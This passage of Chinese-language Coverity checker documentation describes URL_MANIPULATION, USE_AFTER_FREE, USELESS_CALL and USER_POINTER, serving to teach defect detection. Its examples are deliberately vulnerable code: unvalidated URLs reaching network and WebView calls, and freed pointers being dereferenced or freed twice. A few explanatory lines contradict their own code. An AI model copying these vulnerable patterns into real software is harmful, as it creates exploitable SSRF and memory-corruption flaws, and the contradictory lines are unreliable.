URL\_MANIPULATION 可检测通过不安全的方式构造 URL 或 URI 的情况。控制 URL 模式的攻击者可以完全改变 URL 的含义，包括指向不同的端点或文件。控制 URL 权限的攻击者可以通过修改 URL 值以指向恶意网站来安装网络钓鱼攻击。控制 URL 的路径部分的攻击者可以在路径 ( 例如 .. / ) 中执行目录遍历或指定绝对路径。这些类型的漏洞可以通过适当的输入验证来阻止。应该将用户输入添加到允许清单中，以确保仅包含预期的值或字符。

要启用 URL\_MANIPULATION 与其他安全检查器，请使用 cov-analyze 命令的 --security 选项。

默认对 C、C++、Java、JavaScript、Pytho、TypeScript 禁用：URL\_MANIPULATION 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

- Web 应用程序安全检查器启用：要启用 URL\_MANIPULATION 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。
- Android 安全检查器启用。要与其他 Java Android 安全检查器一起启用 URL\_MANIPULATION，请在 cov-analyze 命令中使用 --android-security 选项。

默认对 Go 和 Kotlin 启用 URL\_MANIPULATION 默认启用。

这是被污染的数据检查器。有关更多信息，请参阅“Section 6.8, “被污染的数据概述””。

#### 4.346.1.1. 服务器端应用程序

在服务器端代码中，应用程序可能易受服务器端请求伪造 (SSRF) 的影响。操纵 URL 或 URI 最终可能导致服务器连接到恶意网站或泄漏文件信息。

#### 4.346.1.2. 客户端应用程序

在客户端代码中，攻击者可以更改请求将被发送至的端点，还可以将恶意数据追加到构建的 URL，这可能导致 HTTP 参数污染。

#### 4.346.1.3. 移动应用程序

与服务器端应用程序类似，攻击者可能伪造请求访问服务器上的意外文件或访问不同的端点。攻击者还可以操纵 URL 访问 Android 系统上的本地文件。

URL\_MANIPULATION 检查器使用全局信任模型确定是否信任 servlet 输入、网络数据、文件系统数据或数据库信息。您可以使用 cov-analyze 的 --trust-\* 和/或 --distrust-\* 选项修改当前设置。

### 4.346.2. 缺陷剖析

URL\_MANIPULATION 缺陷说明了不可信（被污染）数据用作 URL 或 URI 组成部分的数据流路径。该数据流路径从不可信数据源开始，例如从 HTTP 请求获取输入。在此处开始，缺陷中的各种事件说明了此被污染数据如何流过程序（例如从函数调用的参数到被调用函数的参数）。数据流路径的最终部分表示尝试访问 URL 的 API 中使用的被污染值。

### 4.346.3. 示例

本部分提供了一个或多个 URL\_MANIPULATION 示例。

#### 4.346.3.1. C/C++

在下面的示例中，针对 downloadFile 语句显示了 URL\_MANIPULATION 缺陷。

```
void url_manipulation_example(int socket, unsigned short url_len) {
 char url[url_len+1];
 int read = recv(socket, url, url_len, 0);
 if (read == url_len) {
 url[url_len] = '\0';
 downloadFile(url);
 }
}
```

```
}
```

#### 4.346.3.2. Go

在下面的 Go 示例中，来自用户请求的 url 可以是任何用户可控制的数据；当它用于通过 `http.NewRequest` 构造请求时很容易受到攻击，并显示 URL\_MANIPULATION 缺陷。

```
package main

import (
 "net/http"
)

func test(req *http.Request) {
 url := req.URL.Query().Get("URL")
 http.NewRequest("GET", url, nil) // URL_MANIPULATION defect
}
```

#### 4.346.3.3. Java

下面是一个简单的示例，说明了 URL\_MANIPULATION 将报告 Android 应用程序中的缺陷的实例。如果导出了 WebActivity，恶意应用程序就可以发送包含指向恶意网站或本地敏感文件的 URL 的意图。

```
public class WebActivity extends Activity {
 @Override
 protected void onCreate(Bundle bundle) {
 WebView webview = new WebView(this);
 String url = getIntent().getStringExtra("url");
 webview.loadUrl(url);
 }
}
```

#### 4.346.3.4. JavaScript

下面是一个简单的示例，说明了 URL\_MANIPULATION 将报告缺陷的情况。

```
const name = location.hash.slice(1);
const endpoint = 'http://server/' + name + '/get-all';
fetch(endpoint).then(response => process(response));
```

#### 4.346.3.5. Kotlin

下面是一个简单的示例，说明了 URL\_MANIPULATION 将报告 Android 应用程序中的缺陷的情况。如果导出了 WebActivity，恶意应用程序就可以发送包含指向恶意网站或本地敏感文件的 URL 的 Intent。针对调用 `webView.loadUrl(url)` 报告缺陷。

```
public class WebActivity : Activity() {

 protected override fun onCreate(bundle: Bundle?) {
 val webView = WebView(this)
 val url = getIntent().getStringExtra("url")
```

```

 webview.loadUrl(url)
 }
}

```

#### 4.346.3.6. Python

下面是一个简单的示例，说明了 URL\_MANIPULATION 将报告缺陷的情况。

```

import requests
import httplib
def Test():
 taint = requests.get('example.com').text
 http = httplib.HTTP(host='host', port='port', strict='strict')
 http.putrequest('method', taint, skip_host='skip_host',
 skip_accept_encoding='skip_accept_encoding')

```

#### 4.346.4. 选项

本部分描述了一个或多个 URL\_MANIPULATION 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- URL\_MANIPULATION:distrust\_all:<boolean> - [所有语言] 将此选项设置为 true 等同于将此检查器的所有 trust\_\* 检查器选项设置为 false。默认值为 URL\_MANIPULATION:distrust\_all:false。

如果将 cov-analyze 命令的 --webapp-security-aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。（适用于除 C、C++ 之外的所有语言）

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。（适用于 C、C++）

- URL\_MANIPULATION:trust\_command\_line:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将命令行参数视为被污染。默认值为 URL\_MANIPULATION:trust\_command\_line:true。设置此检查器选项会覆盖全局 --distrust-command-line 命令行选项。
- URL\_MANIPULATION:trust\_console:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自控制台的数据视为被污染。默认值为 URL\_MANIPULATION:trust\_console:true。设置此检查器选项会覆盖全局 --distrust-console 命令行选项。
- URL\_MANIPULATION:trust\_cookie:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自 HTTP cookie 的数据视为被污染。默认值为 URL\_MANIPULATION:trust\_cookie:false。设置此检查器选项会覆盖全局 --distrust-cookie 命令行选项。
- URL\_MANIPULATION:trust\_database:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自数据库的数据视为被污染。默认值为 URL\_MANIPULATION:trust\_database:true。设置此检查器选项会覆盖全局 --distrust-database 命令行选项。
- URL\_MANIPULATION:trust\_environment:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自环境变量的数据视为被污染。默认值为

URL\_MANIPULATION:trust\_environment:true。设置此检查器选项会覆盖全局 --distrust-environment 命令行选项。

- URL\_MANIPULATION:trust\_filesystem:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自文件系统的数据视为被污染。默认值为 URL\_MANIPULATION:trust\_filesystem:true。设置此检查器选项会覆盖全局 --distrust-filesystem 命令行选项。
- URL\_MANIPULATION:trust\_http:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自 HTTP 请求的数据视为被污染。默认值为 URL\_MANIPULATION:trust\_http:false。设置此检查器选项会覆盖全局 --distrust-http 命令行选项。
- URL\_MANIPULATION:trust\_http\_header:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自 HTTP 头文件的数据视为被污染。默认值为 URL\_MANIPULATION:trust\_http\_header:false。设置此检查器选项会覆盖全局 --distrust-http-header 命令行选项。
- URL\_MANIPULATION:trust\_js\_client\_cookie:<boolean> - [仅限 JavaScript、TypeScript] 如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中的 cookie 的数据，例如来自 document.cookie。此选项之前称为 trust\_client\_cookie。默认值为 URL\_MANIPULATION:trust\_js\_client\_cookie:true。
- URL\_MANIPULATION:trust\_js\_client\_external:<boolean> - [仅限 JavaScript、TypeScript] 如果将此选项设置为 false，则分析不会信任来自 XMLHttpRequest 的响应的数据或客户端 JavaScript 代码中的类似数据。请注意：此选项之前称为 trust\_external。默认值为 URL\_MANIPULATION:trust\_js\_client\_external:false。
- URL\_MANIPULATION:trust\_js\_client\_html\_element:<boolean> - [仅限 JavaScript、TypeScript] 如果将此选项设置为 false，则分析不会信任来自 HTML 元素中用户输入的数据，例如客户端 JavaScript 代码中的 textarea 和 input 元素。默认值为 URL\_MANIPULATION:trust\_js\_client\_html\_element:true。
- URL\_MANIPULATION:trust\_js\_client\_http\_header:<boolean> - [仅限 JavaScript、TypeScript] 如果将此选项设置为 false，则分析不会信任来自 XMLHttpRequest 的响应的 HTTP 响应头文件的数据或客户端 JavaScript 代码中的类似数据。默认值为 URL\_MANIPULATION:trust\_js\_client\_http\_header:true。
- URL\_MANIPULATION:trust\_js\_client\_http\_referer:<boolean> - [仅限 JavaScript、TypeScript] 如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中 referer HTTP 头文件（来自 document.referrer）的数据。默认值为 URL\_MANIPULATION:trust\_js\_client\_http\_referer:false。
- URL\_MANIPULATION:trust\_js\_client\_other\_origin:<boolean> - [仅限 JavaScript、TypeScript] 如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中其他框架或其他源中内容的数据，例如来自 window.name。默认值为 URL\_MANIPULATION:trust\_js\_client\_other\_origin:false。
- URL\_MANIPULATION:trust\_js\_client\_url\_query\_or\_fragment:<boolean> - [仅限 JavaScript、TypeScript] 如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中

查询或 URL 的片段部分的数据，例如来自 `location.hash` 或 `location.query`。默认值为 `URL_MANIPULATION:trust_js_client_url_query_or_fragment:false`。

- `URL_MANIPULATION:trust_mobile_other_app:<boolean>` - [JavaScript、TypeScript] 将此选项设置为 `true` 会导致分析信任以下数据：从不需要获取权限即可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 `URL_MANIPULATION:trust_mobile_other_app:false`。设置此检查器选项会覆盖全局 `--distrust-mobile-other-app` 命令行选项。
- `URL_MANIPULATION:trust_mobile_other_privileged_app:<boolean>` - [JavaScript、TypeScript] 将此选项设置为 `false` 会导致分析将以下数据视为被污染：从需要获取权限才可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 `URL_MANIPULATION:trust_mobile_other_privileged_app:true`。设置此检查器选项会覆盖全局 `--distrust-mobile-other-privileged-app` 命令行选项。
- `URL_MANIPULATION:trust_mobile_same_app:<boolean>` - [JavaScript、TypeScript] 将此选项设置为 `false` 会导致分析将从同一移动应用程序收到的数据视为被污染。默认值为 `URL_MANIPULATION:trust_mobile_same_app:true`。设置此检查器选项会覆盖全局 `--distrust-mobile-same-app` 命令行选项。
- `URL_MANIPULATION:trust_mobile_user_input:<boolean>` - [JavaScript、TypeScript] 将此选项设置为 `true` 会导致分析将从用户输入获取的数据视为未被污染。默认值为 `URL_MANIPULATION:trust_mobile_user_input:false`。设置此检查器选项会覆盖全局 `--distrust-mobile-user-input` 命令行选项。
- `URL_MANIPULATION:trust_network:<boolean>` - [所有语言] 将此选项设置为 `false` 会导致分析将来自网络的数据视为被污染。默认值为 `URL_MANIPULATION:trust_network:false`。设置此检查器选项会覆盖全局 `--distrust-network` 命令行选项。
- `URL_MANIPULATION:trust_rpc:<boolean>` - [所有语言] 将此选项设置为 `false` 会导致分析将来自 RPC 请求的数据视为被污染。默认值为 `URL_MANIPULATION:trust_rpc:false`。设置此检查器选项会覆盖全局 `--distrust-rpc` 命令行选项。
- `URL_MANIPULATION:trust_system_properties:<boolean>` - [所有语言] 将此选项设置为 `false` 会导致分析将来自系统属性的数据视为被污染。默认值为 `URL_MANIPULATION:trust_system_properties:true`。设置此检查器选项会覆盖全局 `--distrust-system-properties` 命令行选项。

#### 4.346.5. 模型和注解

##### 4.346.5.1. C、C++、Objective C、Objective C++

使用 `cov-make-library`，您可以使用以下 Coverity Analysis 原语为 `URL_MANIPULATION` 创建自定义模型。

以下模型表明 `downloadFile()` 对于参数 `url` 是污染数据消费者（类型为 URL）：

```
void downloadFile(const char *url) {
 __coverity_taint_sink__(url, URL);
```

```
}
```

您可以使用 `__coverity_mark_pointee_as_tainted__` 建模原语为污染源建模。例如，以下模型表明，`packet_get_string()` 从网络返回了被污染的字符串：

```
void *packet_get_string() {
 void *ret;
 __coverity_mark_pointee_as_tainted__(ret, TAINT_TYPE_NETWORK);
 return ret;
}
```

下面的模型表明，当 `s` 参数无效时（因此不应再将其视为被污染），`custom_sanitize()` 会返回 `true`。如果 `s` 参数无效，`custom_sanitize()` 会返回 `false`，并且分析会继续将 `s` 记录为被污染：

```
bool custom_sanitize(const char *s) {
 bool ok_string;
 if (ok_string == true) {
 __coverity_mark_pointee_as_sanitized__(s, URL);
 return true;
 }
 return false;
}
```

作为库模型的替代，您还可以在紧接在目标函数之前的源代码注释中使用以下函数注解标记：

- `+taint_sanitize`：指明函数净化字符串参数。例如，下面的代码指明 `custom_sanitize()` 净化了其 `s` 字符串参数：

```
// coverity[+taint_sanitize : arg-*0]
void custom_sanitize(char* s) {...}
```

- `+taint_source`（没有参数）：指明函数返回被污染的字符串数据。例如，下面的代码指明 `packet_get_string()` 返回了被污染的字符串值：

```
// coverity[+taint_source]
char* packet_get_string() {...}
```

- `+taint_source`（含有参数）：指明函数污染指定字符串参数的内容。例如，下面的代码指明 `custom_string_read()` 污染了其 `s` 参数的内容：

```
// coverity[+taint_source : arg-0]
void custom_string_read(char* s, int size, FILE* stream) {...}
```



### Note

`taint_source` 函数注解与以下这些检查器一起运行：  
`FORMAT_STRING_INJECTION`、`HEADER_INJECTION`、`OS_CMD_INJECTION`、`PATH_MANIPULATION`、`SO` 和 `XPATH_INJECTION`。

您可以使用以下函数注解标记忽略函数模型：

- `-taint_sanitize` : 指明函数不净化字符串参数。例如，下面的代码指明 `custom_sanitize()` 不净化其 `s` 字符串参数：

```
// coverity[-taint_sanitize : arg-*0]
void custom_sanitize(char* s) {...}
```

- `-taint_source` (没有参数) : 指明函数不返回被污染的字符串数据。例如，下面的代码指明 `packet_get_string()` 不返回被污染的字符串值：

```
// coverity[-taint_source]
char* packet_get_string() {...}
```

- `-taint_source` (含有参数) : 指明函数不污染指定字符串参数的内容。例如，下面的代码指明 `custom_string_read()` 不污染其 `s` 参数的内容：

```
// coverity[-taint_source : arg-0]
void custom_string_read(char* s, int size, FILE* stream) {...}
```

#### 4.346.5.2. Go

在 Go 中，原语在程序包 `synopsys.com/coverity-primitives/primitives` 中定义，并使用 `Interface` 作为参数；例如：

```
import . "synopsys.com/coverity-primitives/primitives"

func injecting_into_url_function(data interface{}) {
 UrlSink(data);
}
```

如果 `injecting_into_url_function()` 的参数来自不可信来源，`UrlSink()` 原语将指示 `URL_MANIPULATION` 报告缺陷。

### 4.347. USE\_AFTER\_FREE

质量、C/C++ 安全检查器

#### 4.347.1. 概述

支持的语言：. C、C++、Java、Objective-C、Objective-C++

此 C、C++、Java、Objective-C、Objective-C++ 查找在内存或资源被释放或关闭后使用这些内存或资源的很多情况。在释放了内存之后使用内存几乎总是会导致内存损坏，进而导致程序崩溃。在关闭了资源之后使用资源导致的后果取决于使用的 API。

C、C++、Objective-C、Objective-C++ :

- 默认启用：`USE_AFTER_FREE` 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

Java :

- 默认禁用 : USE\_AFTER\_FREE 默认禁用。要启用它 , 您可以在 cov-analyze 命令中使用 --enable 选项。
- Android ( 仅限 Java ) : 对于基于 Android 的代码 , 此检查器 查找与用户活动、屏幕活动、应用程序状态以及其他项目相关的问题。可

对于 C/C++ , USE\_AFTER\_FREE 可查找很多类型的双重释放和释放的指针解引用。您无法安全地使用已释放的内存。当通过同一内存地址参数多次调用 free() 时 , 就会发生双重释放缺陷。双重释放指针可能导致内存释放列表损坏和崩溃。解引用已释放的指针是危险做法 , 因为该指针的值可能已被更改为非指针值或指向任意位置的指针。

在多线程程序中 , 双重释放尤其危险 , 因为一个线程可能分配其他线程的已释放内存 , 导致跟踪竞态条件变得非常困难。

对于 Java , 如果在对象释放了其资源后使用相应用对象 , USE\_AFTER\_FREE 会报告缺陷。尤其是 , 该检查器会发现代码尝试调用已经被关闭、释放且循环使用的对象中的方法的情况。此类对象无效且无法使用 , 运行包含此错误的代码可能导致数据损坏或异常。

#### 4.347.2. 示例

本部分提供了一个或多个 USE\_AFTER\_FREE 示例。

##### 4.347.2.1. C/C++

下面的示例在指针被释放后解引用了该指针。

```
void fun(int * p) {
 free (p);
 int k = *p; // Defect
}
```

下面的示例说明了两个不同函数中发生的双重释放缺陷。

```
int f(void *p) {
 if(some_error()) {
 free(p);
 return -1;
 }
 return 0;
}

void g() {
 void *p = malloc(42);
 if(f(p) < 0) {
 free(p); // Double free
 }
 use(p);
}
```

下面的示例说明了被解引用的已释放指针。

```
void use_after_free(struct S *p) {
 free(p);
 free(p->field); // Dereference
}
```

下面的示例也说明了被解引用的已释放指针。

```
int f(int i) {
 int *p = malloc(8);
 free (p);
 int res = p[i];
}
```

在下面的示例中，USE\_AFTER\_FREE 在启用了 allow\_report\_args 选项的情况下报告了缺陷。

```
extern int ext(int *p);

void fun() {
 int * p = malloc(100);
 free(p); // Pointer freed
 ext(p); // Pointer used as arg
}
```

#### 4.347.2.2. Java

下面的示例尝试设置释放了 MediaPlayer 对象之后的该对象的容量。此类代码错误将触发 UseAfterFreeEvent 事件。

```
void UseAfterFreeExample() {

 android.media.MediaPlayer mp = new android.media.MediaPlayer();

 mp.release(); // Release all MediaPlayer resources.

 mp.setVolume(1, 1); // Cannot use the MediaPlayer now!

}
```

#### 4.347.3. 选项

本部分描述了一个或多个 USE\_AFTER\_FREE 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- USE\_AFTER\_FREE:allow\_simple\_use:<boolean> - 当此选项为 true 时，该检查器将在已释放的指针再次出现在代码中时报告缺陷。默认值为 USE\_AFTER\_FREE:allow\_simple\_use:false (仅适用于 C 和 C++)。

如果禁用此选项，该检查器只会在已释放的指针被解引用或被用作函数参数时报告错误。

- USE\_AFTER\_FREE:allow\_report\_args:<boolean> - 当此 C/C++ 选项为 true 时，该检查器将在已释放的指针被传递给函数时报告缺陷。如果将此选项设置为 false，该检查器会将传递已释放的指针（仅当已知该函数释放或解引用了该指针时）报告为缺陷。请注意，如果重新启用此选项，现有的缺陷不会受影响：通过运行不同分析获得的缺陷会被正确合并。默认值为 USE\_AFTER\_FREE:allow\_report\_args:true（仅适用于 C 和 C++）。

#### 4.347.4. 模型

##### 4.347.4.1. C/C++ 模型

如果由于分析无法正确抽象释放函数的接口发生了误报，则将该函数显式建模为 stub 函数。如果 Coverity Analysis 认为可执行的路径（即使其并不是可执行路径）中发生了误报，使用代码行注释可显式抑制导致该错误的事件。

与 RESOURCE\_LEAK 检查器一样，Coverity Analysis 尝试从调用方的角度抽象释放函数的行为。这意味着，如果函数的释放事件取决于参数值或者仅在返回特定值时发生，Coverity Analysis 将尝试对此行为建模并在每个调用位置对其进行反映。如果 Coverity Analysis 无法精确跟踪释放函数的抽象行为，您可以编写一个 stub 函数，用于对正确的行为建模。

```
int my_free(void* ptr)
{
 int condition;
 if (condition) {
 free(ptr);
 return 1;
 }
 return 0;
}
```

在对 `my_free()` 的每次调用中，指针参数可能会被释放或保持原样。函数依据其确定是否应该释放指针的条件对建模函数的抽象行为无关。在所有调用位置中，调用方需要在再次使用指针之前验证 `my_free()` 的返回值是否为 0。上述函数使用未初始化的变量 `condition` 反映这一点，这与 RESOURCE\_LEAK 示例类似。要将此 stub 函数转变成模型进行分析，请使用 cov-make-library。[↗](#)

##### 4.347.4.2. Java 模型

如果您的代码具有包含 USE\_AFTER\_FREE 检查的行为类型的类，您可以通过编写为该类的行为建模的小 stub 函数提高检查器的有用性和准确度。例如，如果调用了绝不应在类中的特定方法被调用之后调用的一组指定方法，则建模是合适的做法。

通过在模型中使用补充信息，Coverity Analysis 可以在资源已经被释放，然后被不当使用的代码中查找路径。如果您调用了 Coverity `free()` 或 `use()` 方法，分析可以确定哪些程序释放或使用了指定对象。

```
public class ResourceUser {
 public void release() {
 com.coverity.primitives.UseAfterFreePrimitives.free(this);
 }
}
```

```
}

public void useSomeResource(android.view.SurfaceHolder mySurfaceHolder) {
 com.coverity.primitives.UseAfterFreePrimitives.use(this);
}

public SomeClass useSomeResource(SomeClass foo) {
 com.coverity.primitives.UseAfterFreePrimitives.use(this);
 return com.coverity.primitives.Coverity.unknown();
}
}
```

在上面的示例中，方法签名必须与方法匹配才能进行建模。在该模型中，两个 `useSomeResource()` 方法对具有不同方法签名的方法进行了建模。

下面的示例对 `USE_AFTER_FREE` 和 `RESOURCE_LEAK` 缺陷一起进行了建模，因为存在 `USE_AFTER_FREE` 缺陷的类通常容易受到 `RESOURCE_LEAK` 缺陷的影响。

```
public class ResourceUser {

 public ResourceUsingObject() {

 com.coverity.primitives.Resource_LeakPrimitives.open(this);
 }

 public void release() {

 com.coverity.primitives.Resource_LeakPrimitives.close(this);
 com.coverity.primitives.UseAfterFreePrimitives.free(this);
 }

 public void useSomeResource(android.view.SurfaceHolder mySurfaceHolder) {

 com.coverity.primitives.UseAfterFreePrimitives.use(this);
 }
}
```

要对接口的所有实现建模，只需使用与相应接口相同的完全限定类名称创建一个模型。

### 4.347.5. 事件

本部分描述了 `USE_AFTER_FREE` 检查器生成的一个或多个事件。

- `alias` - [Java] 引用具有另一个别名。
- `deref_after_free` - [C/C++] 解引用已释放的指针时报告缺陷。如果分析错误地将运算解读为对已释放的指针的解引用，则忽略此事件。

- `double_free` - [C/C++] 多次释放指针时报告缺陷。如果运算实际上并非释放，或者指针的值与其在第一个释放中的值不同，则忽略此事件。
- `freed_arg` - [C/C++] 如果分析错误地表明函数释放了指针，但实际上由于调用位置环境并未释放，则忽略此事件。
- `object_freed` - [Java] 调用释放了对象的方法。
- `pass_freed_arg` - [C/C++] 调用参数为已释放指针的函数。
- `use_after_free` - [C/C++] 当已释放的指针被以可疑的方式（例如将其作为参数传递给函数）使用时报告缺陷。如果相关使用是安全的，则忽略此事件。  
`use_after_free` - [Java] 使用已经释放的对象。

## 4.348. USELESS\_CALL

质量检查器

### 4.348.1. 概述

支持的语言：. C、C++、C#、Java、Objective-C、Objective-C++

`USELESS_CALL` 可标识由于返回值被忽略并且函数调用没有其他明显作用（例如执行 I/O）而被视为“无用”的函数调用。此类缺陷通常表明程序员期望通过调用修改现有数据结构或与环境交互（这种情况下需要调用其他函数），或者表明程序员有意但却忘记了使用返回值。

此检查器默认对 C、C++、C#、Java、Objective-C 和 Objective-C++ 启用。

除了具有分析通常会引起此类问题的 API 的内置功能之外，该检查器还可以识别希望仅对其返回值有用的函数。该检查器会报告对此类函数的无用调用，除非它发现了函数的某些“其他作用”，或者检测到了表明函数不完整或者函数以后或在其他配置中可能产生其他作用的其他迹象。要报告虚拟调用，该检查器必须找到所有属于缺陷的解析。

在某些情况下，调用函数是为了执行特定操作，例如强制加载类，强制关联或依赖、执行测试或测试稳定性。Coverity 建议您在 Coverity Connect 中将针对此类异常代码的缺陷报告标记为“特意”(Intentional)。

请注意，相关检查器 `CHECKED_RETURN` 会将对具有其他作用的函数（例如 I/O 函数）的调用报告为缺陷。此外，`CHECKED_RETURN` 分析可以根据返回值的使用方式报告缺陷，而 `USELESS_CALL` 在返回值通过任何方式被使用时都不会报告缺陷。最后，`USELESS_CALL` 分析适用于所有非 `void` 返回类型（标量、指针、引用）；另请参阅 `NUL RETURNS`。

### 4.348.2. 示例

本部分提供了一个或多个 `USELESS_CALL` 示例。

#### 4.348.2.1. C/C++

下面的 C++ 代码示例显示了整数对和交换坐标的函数。

```

struct pair_t
{
 pair_t(int x, int y) : x_(x), y_(y) {}
 int x_;
 int y_;
};

pair_t swap(pair_t xy)
{
 return pair_t(xy.y_, xy.x_);
}

```

误认为上面显示的 `swap` 函数会修改其参数（通过交换坐标）的开发人员可能会编写出有缺陷的代码，例如：

```

void incorrect()
{
 ...
 swap(xy); /* Defect: swap does not modify its argument */
 ...
}

```

下面的示例显示了可能可以修复此类缺陷的方法。

```

void correct()
{
 ...
 xs = swap(xy);
 ...
}

```

#### 4.348.2.2. C#

下面的示例说明了程序员在误认为从中调用函数的对象或者传递给该函数的其中一个参数将被修改时使用函数的情况。

```

{
 ...
 String str = "aaa";
 str.Replace('a', 'b'); /* Defect: str is not modified. */
 ...
}

```

`Replace` 方法未修改 `str` 并且返回了使用 `b` 替换 `a` 的新字符串。因此，一旦调用 `Replace`，依赖不使用 `a` 的 `str` 的所有代码都将不正确。

下面的示例提供了可能可以修复此类问题的方法。

```

public void correct()
{
}

```

```

...
String str = "aaa";
str = str.Replace('a', 'b');
...
}

```

C# 中的 `String` 类拥有多种方法，其中它通常认为调用该函数会改变该字符串，而实际上则返回了新字符串。

#### 4.348.2.3. Java

下面的示例说明了该检查器在涉及虚函数的三种简单情况下的行为。

```

interface I
{
 public int foo(int x);
 public int bar(int x);
}

class I0 implements I
{
 public int foo(int x){ return x + 1; }
 public int bar(int x){ return x + 1; }
 private int x_;
}

class I1 implements I
{
 public int foo(int x){ return x + 1; }
 public int bar(int x){ ++x_; return x + 1; }
 private int x_;
}

void example(I1 ii, I0 i0)
{
 ii.foo(0); /* Defect here */
 ii.bar(0); /* No defect here */
 i0.bar(0); /* Defect here */
}

```

#### 4.348.3. 选项

本部分描述了一个或多个 `USELESS_CALL` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `USELESS_CALL:ignore_callee_with_macro_use_fn:<boolean>` - 当此选项被设置为 `true` 时，该检查器将忽略对直接或通过函数调用本身使用包含参数的预处理器宏的函数的调用。默认值为 `USELESS_CALL:ignore_callee_with_macro_use_fn:false`（仅适用于 C 和 C++）。

- USELESS\_CALL:ignore\_callee\_with\_macro\_use\_plain:<boolean> - 当此选项被设置为 true 时，该检查器将忽略对直接或通过函数调用本身使用不包含参数的预处理器宏的函数的调用。默认值为 USELESS\_CALL:ignore\_callee\_with\_macro\_use\_plain:false ( 仅适用于 C 和 C++ )。
- USELESS\_CALL:include\_current\_object\_call\_sites:<boolean> - 当此选项被设置为 true 时，对成员函数（方法）的调用（接收方对象为 this ）会被作为可能的缺陷添加到报告中。默认值为 USELESS\_CALL:include\_current\_object\_call\_sites:false ( 适用于所有语言 )。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium ( 或 high ) ，则该检查器选项会自动设置为 true 。

- USELESS\_CALL:include\_macro\_call\_sites\_fn:<boolean> - 当此选项被设置为 true 时，该检查器将在对通过包含参数的预处理器宏实例化的函数的调用中搜索缺陷。默认值为 USELESS\_CALL:include\_macro\_call\_sites\_fn:false ( 仅适用于 C 和 C++ )。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium ( 或 high ) ，则该检查器选项会自动设置为 true 。

- USELESS\_CALL:include\_macro\_call\_sites\_plain:<boolean> - 当此选项被设置为 true 时，该检查器将在对通过不包含参数的预处理器宏实例化的函数的调用中搜索缺陷。默认值为 USELESS\_CALL:include\_macro\_call\_sites\_plain:false ( 仅适用于 C 和 C++ )。

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium ( 或 high ) ，则该检查器选项会自动设置为 true 。

#### 4.348.4. 模型和注解

Coverity 提供了 C、C++、C#、Java、Objective-C、Objective-C++ 原语，可供您用于声明相应函数（或方法）仅对其返回值有用（因此没有其他作用）或者该函数具有其他作用。其中包含针对 Java 方法的相应注解，以及适用于类并且声明所有静态方法没有其他作用的注解。

##### 4.348.4.1. C/C++ 模型

C/C++ 原语

- 没有其他作用：

```
__coverity_side_effect_free__(void)
```

- 具有其他作用：

```
__coverity_side_effects__(void)
```

请注意，Section 4.348.4.3，“Java 模型和注解”中的示例调用了此原语的 Java 版本。

##### 4.348.4.2. C# 模型

C# 原语

- 没有其他作用：

```
Coverity.Primitives.SideEffect.SideEffectFree()
```

- 具有其他作用：

```
Coverity.Primitives.SideEffect.SideEffects()
```

请注意，Section 4.348.4.3，“Java 模型和注解”中的示例调用了此原语的 Java 版本。

### 4.348.4.3. Java 模型和注解

#### Java 原语

- 没有其他作用：

```
com.coverity.primitives.SideEffectPrimitives.sideEffectFree()
```

- 具有其他作用：

```
com.coverity.primitives.SideEffectPrimitives.sideEffects()
```

#### Java 注解

- 没有其他作用：

```
com.coverity.annotations.SideEffectFree
```

- 具有其他作用：

```
com.coverity.annotations.SideEffects
```

@SideEffectFree 注解和 sideEffectFree() 原语使该检查器将方法视为没有其他作用，这意味着该检查器将针对方法调用报告缺陷，即使其确实产生了其他作用。

```
import com.coverity.annotations.*;
import com.coverity.primitives.*;

public static int g_count;

@SideEffectFree
public static int foo()
{
 ++g_count;
 return g_count;
}

public static int bar()
{
 com.coverity.primitives.SideEffectPrimitives.sideEffectFree();
 ++g_count;
```

```

 return g_count;
 }

public void example()
{
 foo(); /* defect */
 bar(); /* defect */
}

```

与此相反，`@SideEffectFree` 注解和 `SideEffectFree()` 原语则断言存在其他作用。该检查器绝不会针对使用此注解或调用此原语的方法报告无用调用缺陷。

#### 4.348.5. 事件

本部分描述了 `USELESS_CALL` 检查器生成的一个或多个事件。

- `side_effect_free` - 该函数仅对其返回值有用。
- `side_effect_free_fn` - 表示特定被调用方被视为没有其他作用，因此仅对其返回值有用。

#### 4.349. USER\_POINTER

质量、安全检查器

##### 4.349.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

`USER_POINTER` 可查找操作系统内核不安全地解引用用户指针的很多情况。操作系统无法安全地直接解引用用户空间指针。它们必须使用特殊的“paranoid”程序访问指向的数据（例如：在 BSD 继承系统中使用 `copyin()` 和 `copyout()` 函数，或者在 Linux 继承系统中使用 `copy_from_user()` 和 `copy_to_user()` 函数）。一次不安全的解引用可能导致系统崩溃，允许未经授权地读取/写入内核内存或者恶意方完成系统控制。此检查器仅在扫描内核级操作系统代码时有用。

默认禁用：`USER_POINTER` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项或 `--security` 选项。

